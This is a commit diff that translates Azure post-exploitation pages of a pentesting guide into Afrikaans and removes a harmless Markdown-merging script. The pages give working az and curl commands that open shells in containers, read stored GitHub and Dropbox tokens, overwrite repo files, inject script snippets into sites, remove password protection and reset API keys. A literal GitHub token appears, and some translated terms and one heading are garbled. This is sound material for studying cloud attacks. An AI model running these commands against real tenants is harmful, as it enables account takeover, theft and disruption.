Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-04-02 15:53:39 +00:00
parent 59334361d8
commit f8a941c809
5 changed files with 212 additions and 349 deletions

View File

@@ -1,145 +0,0 @@
import os
import re
import tempfile
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
def clean_file_content(file_path):
"""Clean the content of a single file and return the cleaned lines."""
with open(file_path, "r", encoding="utf-8") as f:
content = f.readlines()
cleaned_lines = []
inside_hint = False
for i,line in enumerate(content):
# Skip lines containing excluded keywords
if any(keyword in line for keyword in exclude_keywords):
continue
# Detect and skip {% hint %} ... {% endhint %} blocks
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
inside_hint = True
if "{% endhint %}" in line:
inside_hint = False
continue
if inside_hint:
continue
# Skip lines with <figure> ... </figure>
if re.match(r"<figure>.*?</figure>", line):
continue
# Add the line if it passed all checks
cleaned_lines.append(line.rstrip())
# Remove excess consecutive empty lines
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
return cleaned_lines
def remove_consecutive_empty_lines(lines):
"""Allow no more than one consecutive empty line."""
cleaned_lines = []
previous_line_empty = False
for line in lines:
if line.strip() == "":
if not previous_line_empty:
cleaned_lines.append("")
previous_line_empty = True
else:
cleaned_lines.append(line)
previous_line_empty = False
return cleaned_lines
def gather_files_in_order(start_folder):
"""Gather all .md files in a depth-first order."""
files = []
for root, _, filenames in os.walk(start_folder):
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
files.extend(md_files)
return files
# Gather files in depth-first order
all_files = gather_files_in_order(start_folder)
# Process files and merge into a single output
with open(output_file, "w", encoding="utf-8") as output:
for file_path in all_files:
# Clean the content of the file
cleaned_content = clean_file_content(file_path)
# Skip saving if the cleaned file has fewer than 10 non-empty lines
if len([line for line in cleaned_content if line.strip()]) < 10:
continue
# Get the name of the file for the header
file_name = os.path.basename(file_path)
# Write header, cleaned content, and 2 extra new lines
output.write(f"# {file_name}\n\n")
output.write("\n".join(cleaned_content))
output.write("\n\n")
def main():
# Specify the starting folder and output file
start_folder = os.getcwd()
output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
# Keywords to exclude from lines
exclude_keywords = [
"STM Cyber", # STM Cyber ads
"offer several valuable cybersecurity services", # STM Cyber ads
"and hack the unhackable", # STM Cyber ads
"blog.stmcyber.com", # STM Cyber ads
"RootedCON", # RootedCON ads
"rootedcon.com", # RootedCON ads
"the mission of promoting technical knowledge", # RootedCON ads
"Intigriti", # Intigriti ads
"intigriti.com", # Intigriti ads
"Trickest", # Trickest ads
"trickest.com", # Trickest ads,
"Get Access Today:",
"HACKENPROOF", # Hackenproof ads
"hackenproof.com", # Hackenproof ads
"HackenProof", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Hacking Insights:", # Hackenproof ads
"Engage with content that delves", # Hackenproof ads
"Real-Time Hack News:", # Hackenproof ads
"Keep up-to-date with fast-paced", # Hackenproof ads
"Latest Announcements:", # Hackenproof ads
"Stay informed with the newest bug", # Hackenproof ads
"start collaborating with top hackers today!", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Pentest-Tools", # Pentest-Tools.com ads
"pentest-tools.com", # Pentest-Tools.com ads
"perspective on your web apps, network, and", # Pentest-Tools.com ads
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
"SerpApi", # SerpApi ads
"serpapi.com", # SerpApi ads
"offers fast and easy real-time", # SerpApi ads
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
"8kSec", # 8kSec ads
"academy.8ksec.io", # 8kSec ads
"Learn the technologies and skills required", # 8kSec ads
"WebSec", # WebSec ads
"websec.nl", # WebSec ads
"which means they do it all; Pentesting", # WebSec ads
]
# Clean and merge .md files
clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
# Print the path to the output file
print(f"Merged content has been saved to: {output_file}")
if __name__ == "__main__":
# Execute this from the hacktricks folder to clean
# It will clean all the .md files and compile them into 1 in a proper order
main()

View File

@@ -27,7 +27,7 @@ az keyvault certificate purge --vault-name <vault name> --name <certificate name
```
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
Hierdie toestemming laat 'n hoofpersoon toe om data te enkripteer met 'n sleutel wat in die kluis gestoor is.
Hierdie toestemming laat 'n prinsiep toe om data te enkripteer met 'n sleutel wat in die kluis gestoor is.
```bash
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
@@ -46,7 +46,7 @@ az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm
```
### **Microsoft.KeyVault/vaults/keys/purge/action**
Hierdie toestemming laat 'n prinsiep toe om 'n sleutel permanent uit die kluis te verwyder.
Hierdie toestemming laat 'n hoofpersoon toe om 'n sleutel permanent uit die kluis te verwyder.
```bash
az keyvault key purge --vault-name <vault name> --name <key name>
```
@@ -70,20 +70,26 @@ az keyvault certificate delete --vault-name <vault name> --name <certificate nam
```
### **Microsoft.KeyVault/vaults/keys/delete**
Hierdie toestemming laat 'n prinsiep toe om 'n sleutel uit die kluis te verwyder. Die sleutel word na die "sagte verwydering" toestand verskuif, waar dit herstel kan word tensy dit verwyder word.
Hierdie toestemming laat 'n prinsiep toe om 'n sleutel uit die kluis te verwyder. Die sleutel word na die "sagte-verwyder" toestand verskuif, waar dit herstel kan word tensy dit verwyder word.
```bash
az keyvault key delete --vault-name <vault name> --name <key name>
```
### **Microsoft.KeyVault/vaults/secrets/delete**
Hierdie toestemming laat 'n prinsiep toe om 'n geheim uit die kluis te verwyder. Die geheim word na die "sagte verwydering" toestand verskuif, waar dit herstel kan word tensy dit verwyder word.
Hierdie toestemming laat 'n prinsiep toe om 'n geheim uit die kluis te verwyder. Die geheim word na die "sagte-verwyder" toestand verskuif, waar dit herstel kan word tensy dit verwyder word.
```bash
az keyvault secret delete --vault-name <vault name> --name <secret name>
```
### Microsoft.KeyVault/vaults/secrets/restore/action
Hierdie toestemming laat 'n hoofpersoon toe om 'n geheim uit 'n rugsteun te herstel.
Hierdie toestemming laat 'n prinsiep toe om 'n geheim uit 'n rugsteun te herstel.
```bash
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
```
### Microsoft.KeyVault/vaults/keys/recover/action
Stel die herstel van 'n voorheen verwyderde sleutel uit 'n Azure Key Vault in staat
```bash
az keyvault secret recover --vault-name <vault-name> --name <secret-name>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -16,11 +16,11 @@ Vir meer inligting, kyk:
Hierdie toestemmings laat die gebruiker toe om **'n opdrag uit te voer** in 'n lopende houer. Dit kan gebruik word om **privileges te verhoog** in die houer as dit enige bestuurde identiteit het. Natuurlik is dit ook moontlik om toegang te verkry tot die bronkode en enige ander sensitiewe inligting wat binne die houer gestoor is.
Om 'n shell te kry, is so eenvoudig soos:
Om 'n shell te kry is so eenvoudig soos:
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
```
Dit is ook moontlik om die **uitset** van die houer te **lees** met:
Dit is ook moontlik om **die uitvoer** van die houer te lees met:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
@@ -49,7 +49,7 @@ az rest \
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Hierdie toestemmings laat toe om 'n **houergroep te skep of op te dateer** met 'n **gebruikersbestuurde identiteit** daaraan geheg. Dit is baie nuttig om voorregte in die houer te verhoog.
Hierdie toestemmings laat toe om **'n container groep te skep of op te dateer** met 'n **gebruikersbestuurde identiteit** daaraan geheg. Dit is baie nuttig om voorregte in die container te verhoog.
```bash
az container create \
--resource-group <res-group> \
@@ -61,13 +61,13 @@ az container create \
--cpu 1 \
--memory 1.0
```
Boonop, dit is ook moontlik om 'n bestaande kontainer-groep op te dateer deur byvoorbeeld die **`--command-line` argument** met 'n omgekeerde shell toe te voeg.
Boonop, dit is ook moontlik om 'n bestaande houergroep op te dateer deur byvoorbeeld die **`--command-line` argument** met 'n omgekeerde skulp toe te voeg.
## ACA
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
Hierdie toestemmings laat die gebruiker toe om **'n shell te kry** in 'n lopende toepassingskontainer. Dit kan gebruik word om **privileges te eskaleer** in die kontainer as dit enige bestuurde identiteit het. Natuurlik is dit ook moontlik om toegang te verkry tot die bronkode en enige ander sensitiewe inligting wat binne die kontainer gestoor is.
Hierdie toestemmings laat die gebruiker toe om **'n skulp te kry** in 'n lopende toepassingshouer. Dit kan gebruik word om **privileges te verhoog** in die houer as dit enige bestuurde identiteit het. Natuurlik is dit ook moontlik om toegang te verkry tot die bronkode en enige ander sensitiewe inligting wat binne die houer gestoor is.
```bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
@@ -82,7 +82,7 @@ az containerapp secret show --name <app-name> --resource-group <res-group> --sec
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Hierdie toestemmings laat toe om 'n **gebruikersbestuurde identiteit** aan 'n container-app te **koppel**. Dit is baie nuttig om voorregte in die container te verhoog. Om hierdie aksie vanaf die az cli uit te voer, vereis ook die toestemming `Microsoft.App/containerApps/listSecrets/action`.
Hierdie toestemmings laat toe om **'n gebruikersbestuurde identiteit** aan 'n container-app te koppel. Dit is baie nuttig om voorregte in die container te verhoog. Om hierdie aksie vanaf die az cli uit te voer, vereis dit ook die toestemming `Microsoft.App/containerApps/listSecrets/action`.
Om 'n gebruikersbestuurde identiteit aan 'n container-groep te koppel:
```bash
@@ -141,7 +141,7 @@ az containerapp job secret show --name <job-name> --resource-group <res-group> -
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
As jy toestemming het om 'n werk se konfigurasie te wysig, kan jy 'n gebruiker-toegewyde bestuurde identiteit aanheg. Hierdie identiteit mag addisionele voorregte hê (byvoorbeeld, toegang tot ander hulpbronne of geheime) wat misbruik kan word om voorregte binne die houer te verhoog.
As jy toestemming het om 'n werk se konfigurasie te wysig, kan jy 'n gebruiker-toegewyde bestuurde identiteit aanheg. Hierdie identiteit mag addisionele voorregte hê (byvoorbeeld, toegang tot ander hulpbronne of geheime) wat misbruik kan word om voorregte binne die houer te eskaleer.
```bash
az containerapp job update \
--name <job-name> \
@@ -169,9 +169,14 @@ az containerapp job create \
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
Dit lyk of dit met hierdie toestemmings moontlik moet wees om 'n werk te begin. Dit kan gebruik word om 'n werk met 'n omgekeerde shell of enige ander kwaadwillige opdrag te begin sonder om die konfigurasie van die werk te moet verander.
Dit lyk of dit met hierdie toestemmings moontlik moet wees om 'n werk te begin. Dit kan gebruik word om 'n werk met 'n omgekeerde shell of enige ander kwaadwillige opdrag te begin sonder om die konfigurasie van die werk te moet wysig.
Ek het nie daarin geslaag om dit te laat werk nie, maar volgens die toegelate parameters behoort dit moontlik te wees.
### Microsoft.ContainerInstance/containerGroups/restart/action
Laat toe om 'n spesifieke houergroep binne Azure Container Instances te herbegin.
```bash
az container restart --resource-group <resource-group> --name <container-instances>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# Az - Static Web Apps Post Exploitation
# Az - Statiese Web Apps Post Exploitatie
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
## Azure Statiese Web Apps
For more information about this service check:
Vir meer inligting oor hierdie diens, kyk:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,164 +12,153 @@ For more information about this service check:
### Microsoft.Web/staticSites/snippets/write
It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
The fllowing command create an snippet that will always be loaded by the web app::
Dit is moontlik om 'n statiese webblad te laat laai arbitraire HTML-kode deur 'n snit te skep. Dit kan 'n aanvaller toelaat om JS-kode binne die webtoepassing in te voeg en sensitiewe inligting soos geloofsbriewe of mnemonic sleutels (in web3 beursies) te steel.
Die volgende opdrag skep 'n snit wat altyd deur die webtoepassing gelaai sal word::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Lees Geconfigureerde Derdeparty Kredensiale
### Read Configured Third Party Credentials
As explained in the App Service section:
Soos verduidelik in die App Service afdeling:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
Deur die volgende opdrag uit te voer, is dit moontlik om **die derdeparty kredensiale** wat in die huidige rekening geconfigureer is, te lees. Let daarop dat as daar byvoorbeeld sommige Github kredensiale in 'n ander gebruiker geconfigureer is, jy nie die token van 'n ander een sal kan bekom nie.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Hierdie opdrag gee tokens terug vir Github, Bitbucket, Dropbox en OneDrive.
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
Here you have some command examples to check the tokens:
Hier is 'n paar opdragvoorbeelde om die tokens te kontroleer:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Oorskrywe lêer - Oorskrywe roetes, HTML, JS...
### Overwrite file - Overwrite routes, HTML, JS...
Dit is moontlik om 'n **lêer binne die Github repo** wat die app bevat, deur Azure te **oorskrywe** deur die **Github token** 'n versoek te stuur soos die volgende wat die pad van die lêer om te oorskrywe, die inhoud van die lêer en die verbintenisboodskap sal aandui.
It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
Dit kan deur aanvallers misbruik word om basies die **inhoud van die web app** te verander om kwaadwillige inhoud te dien (steel akrediteer, mnemonic sleutels...) of net om **sekere pades** na hul eie bedieners te herlei deur die `staticwebapp.config.json` lêer te oorskrywe.
> [!WARNING]
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
> Let daarop dat as 'n aanvaller daarin slaag om die Github repo op enige manier te kompromitteer, hulle ook die lêer direk vanaf Github kan oorskrywe.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
### Microsoft.Web/staticSites/config/write
With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
Met hierdie toestemming is dit moontlik om die **wagwoord** wat 'n statiese webtoepassing beskerm, te **wysig** of selfs elke omgewing te ontprotect deur 'n versoek te stuur soos die volgende:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
This permission allows to get the **API key deployment token** for the static app:
Hierdie toestemming laat toe om die **API sleutel ontplooiingstoken** vir die statiese app te verkry:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Dan, om 'n app met die **token** op te dateer, kan jy die volgende opdrag uitvoer. Let daarop dat hierdie opdrag verkry is deur te kyk **hoe Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) werk**, aangesien dit die een is wat Azure standaard ingestel het om te gebruik. So die beeld en parameters kan in die toekoms verander.
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
2. Change the code you want to deploy
3. Deploy it running (Remember to change the `<api-token>`):
> [!TIP]
> Om die app te ontplooi, kan jy die **`swa`** hulpmiddel van [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) gebruik of die volgende stappe volg:
1. Laai die repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) af (of enige ander repo wat jy wil ontplooi) en voer `cd react-basic` uit.
2. Verander die kode wat jy wil ontplooi
3. Ontplooi dit deur (Onthou om die `<api-token>` te verander):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
>[!WARNING]
> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
> [!WARNING]
> Selfs al het jy die token het, sal jy nie in staat wees om die app te ontplooi as die **Deployment Authorization Policy** op **Github** gestel is nie. Om die token te gebruik, sal jy die toestemming `Microsoft.Web/staticSites/write` nodig hê om die ontplooiingmetode te verander om die API-token te gebruik.
### Microsoft.Web/staticSites/write
With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
Met hierdie toestemming is dit moontlik om die **bron van die statiese web app na 'n ander Github-repo te verander**, egter, dit sal nie outomaties voorsien word nie, aangesien dit vanaf 'n Github Action gedoen moet word.
However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
As die **Deployment Authorization Policy** op **Github** gestel is, is dit moontlik om die **app vanaf die nuwe bronrepo op te dateer!**.
In die geval dat die **Deployment Authorization Policy** nie op Github gestel is nie, kan jy dit met dieselfde toestemming `Microsoft.Web/staticSites/write` verander.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -179,117 +168,109 @@ az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
```
Example Github Action to deploy the app:
Voorbeeld Github Aksie om die app te ontplooi:
```yaml
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
Met hierdie toestemming is dit moontlik om die **API-sleutel van die statiese webtoepassing te reset**, wat moontlik die werkvloei wat die toepassing outomaties ontplooi, kan DoS.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
Hierdie toestemming laat toe om **'n uitnodiging aan 'n gebruiker te skep** om toegang te verkry tot beskermde paaie binne 'n statiese webtoepassing met 'n spesifieke gegewe rol.
Die aanmelding is geleë in 'n pad soos `/.auth/login/github` vir github of `/.auth/login/aad` vir Entra ID en 'n gebruiker kan uitgenooi word met die volgende opdrag:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
```
